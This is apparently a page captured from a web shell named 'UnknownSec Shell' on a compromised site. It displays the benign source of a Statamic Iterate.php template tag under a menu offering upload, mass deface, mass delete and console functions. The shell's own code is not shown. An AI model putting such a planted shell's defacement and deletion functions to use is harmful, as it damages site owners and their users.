socialite.brannanatkinson.com

upload mass deface mass delete console info server
name : Iterate.php
 <?php

namespace Statamic\Tags;

class Iterate extends Tags
{
    protected static $aliases = ['foreach'];

    /**
     * Maps to the {{ iterate }} tag.
     *
     * @return mixed
     */
    public function index()
    {
        $value = $this->params->get('array');

        if (is_string($value)) {
            $value = $this->context->get($value);
        }

        return $this->iterate($value);
    }

    /**
     * Maps to the {{ iterate:fieldname }} tag.
     *
     * Also maps to {{ foreach:fieldname }}.
     * It's called Iterate because foreach is a reserved word. Thanks PHP.
     *
     * @return mixed
     */
    public function wildcard($tag)
    {
        return $this->iterate($this->context->get($tag));
    }

    protected function iterate($items)
    {
        [$keyKey, $valueKey] = $this->getKeyNames();

        $items = collect($items)
            ->map(function ($value, $key) use ($keyKey, $valueKey) {
                return [$keyKey => $key, $valueKey => $value];
            });

        if ($limit = $this->params->int('limit')) {
            $items = $items->take($limit);
        }

        return $items->values();
    }

    /**
     * Get the key names to be used for the key and value.
     *
     * Using this tag, the key will be available in the "key" variable and the value will
     * be available in the "value" variable. Although you may redefine the names if it
     * makes your templates more readable. For example if your list is songs_lengths
     * with the song name as the key and the length as the value. You could use
     * as="song|song_length" on the tag to create more readable variables.
     *
     * @return array
     */
    protected function getKeyNames()
    {
        $keyKey = 'key';
        $valueKey = 'value';

        if (count($as = $this->params->explode('as', [])) === 1) {
            $valueKey = $as[0];
        } elseif (count($as) > 1) {
            [$keyKey, $valueKey] = $as;
        }

        // Remove the parameter so the native scoping doesn't kick in.
        $this->params->forget('as');

        return [$keyKey, $valueKey];
    }
}
UnknownSec Shell
